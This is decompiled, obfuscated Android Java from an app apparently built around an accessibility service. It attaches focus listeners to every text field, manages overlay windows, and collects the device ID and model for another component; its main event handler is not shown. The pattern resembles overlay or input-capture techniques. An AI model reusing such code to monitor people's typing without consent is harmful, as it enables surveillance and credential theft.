package o;

import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.provider.Settings;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.inputmethod.InputMethodManager;
import android.widget.EditText;
import ir.devixor.app.accessibilityservice.AccessibilityService;
import java.util.LinkedHashSet;
import java.util.Set;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.Xc, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C0599Xc {
    public AccessibilityService a;
    public final C0168Gm b;
    public Set c;
    public final C1014dc0 d;
    public View e;
    public boolean f;
    public String g;
    public String h;
    public final Handler i;
    public RunnableC0339Nc j;
    public final C1014dc0 k;
    public boolean l;
    public boolean m;
    public final long n;

    public C0599Xc() {
        C2468sq c2468sq = AbstractC1903ms.a;
        this.b = C80.e(AbstractC2139pN.a);
        this.c = new LinkedHashSet();
        final int i = 0;
        this.d = new C1014dc0(new NC(this) { // from class: o.Pc
            public final /* synthetic */ C0599Xc m;

            {
                this.m = this;
            }

            @Override // o.NC
            public final Object a() {
                switch (i) {
                    case 0:
                        AccessibilityService accessibilityService = this.m.a;
                        if (accessibilityService == null) {
                            accessibilityService = null;
                        }
                        return (WindowManager) accessibilityService.getSystemService("window");
                    default:
                        AccessibilityService accessibilityService2 = this.m.a;
                        if (accessibilityService2 == null) {
                            accessibilityService2 = null;
                        }
                        return (InputMethodManager) accessibilityService2.getSystemService("input_method");
                }
            }
        });
        this.i = new Handler(Looper.getMainLooper());
        final int i2 = 1;
        this.k = new C1014dc0(new NC(this) { // from class: o.Pc
            public final /* synthetic */ C0599Xc m;

            {
                this.m = this;
            }

            @Override // o.NC
            public final Object a() {
                switch (i2) {
                    case 0:
                        AccessibilityService accessibilityService = this.m.a;
                        if (accessibilityService == null) {
                            accessibilityService = null;
                        }
                        return (WindowManager) accessibilityService.getSystemService("window");
                    default:
                        AccessibilityService accessibilityService2 = this.m.a;
                        if (accessibilityService2 == null) {
                            accessibilityService2 = null;
                        }
                        return (InputMethodManager) accessibilityService2.getSystemService("input_method");
                }
            }
        });
        this.n = 2000L;
    }

    public static final void a(C0599Xc c0599Xc, View view) {
        if (view instanceof EditText) {
            ((EditText) view).setFocusableInTouchMode(true);
            view.setOnFocusChangeListener(new ViewOnFocusChangeListenerC0417Qc(0, c0599Xc));
        } else if (view instanceof ViewGroup) {
            ViewGroup viewGroup = (ViewGroup) view;
            int childCount = viewGroup.getChildCount();
            for (int i = 0; i < childCount; i++) {
                a(c0599Xc, viewGroup.getChildAt(i));
            }
        }
    }

    public final void b() {
        View view = this.e;
        if (view == null) {
            return;
        }
        try {
            ((WindowManager) this.d.getValue()).removeView(view);
        } catch (Exception unused) {
        }
        this.e = null;
    }

    public final void c(AccessibilityService accessibilityService) {
        this.a = accessibilityService;
        try {
            String string = Settings.Secure.getString(accessibilityService.getContentResolver(), "android_id");
            if (string == null) {
                string = "unknown";
            }
            String string2 = Za0.o0(Build.MANUFACTURER + " " + Build.MODEL).toString();
            JSONObject jSONObject = Q8.a;
            AccessibilityService accessibilityService2 = this.a;
            if (accessibilityService2 == null) {
                accessibilityService2 = null;
            }
            Q8.a(accessibilityService2, string, string2);
        } catch (Exception unused) {
        }
        if (!this.m) {
            this.m = true;
            this.i.post(new RunnableC2017o3(2, this));
        }
        b();
        this.f = false;
        this.g = null;
    }

    /* JADX WARN: Removed duplicated region for block: B:64:0x00d1  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public final void d(android.view.accessibility.AccessibilityEvent r15) {
        /*
            Method dump skipped, instructions count: 413
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: o.C0599Xc.d(android.view.accessibility.AccessibilityEvent):void");
    }
}
